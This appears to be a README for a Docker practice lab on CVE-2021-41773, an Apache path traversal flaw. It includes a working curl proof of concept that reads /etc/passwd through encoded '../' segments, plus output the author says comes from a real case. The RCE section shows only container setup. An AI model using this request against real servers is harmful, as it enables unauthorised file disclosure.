Container lab to play/learn with CVE-2021-41773
File disclosure:
$ docker build -t apache-default default_conf
$ docker run -dit --name apache-app -p 81:80 apache-default
PoC
curl -s --path-as-is "http://iptarget:80/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"output
note: The output comes from the a real case.
curl -s --path-as-is "http://iptarget:80/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:995::/var/lib/chrony:/sbin/nologin
centos:x:1000:1000:Cloud User:/home/centos:/bin/bash
mysql:x:997:994:MySQL server:/var/lib/mysql:/sbin/nologin
[REDACTED]RCE (CGI enabled):
$ docker build -t apache-cgi cgi_mod_enable
$ docker run -dit --name apache-lab -p 82:80 apache-cgi
References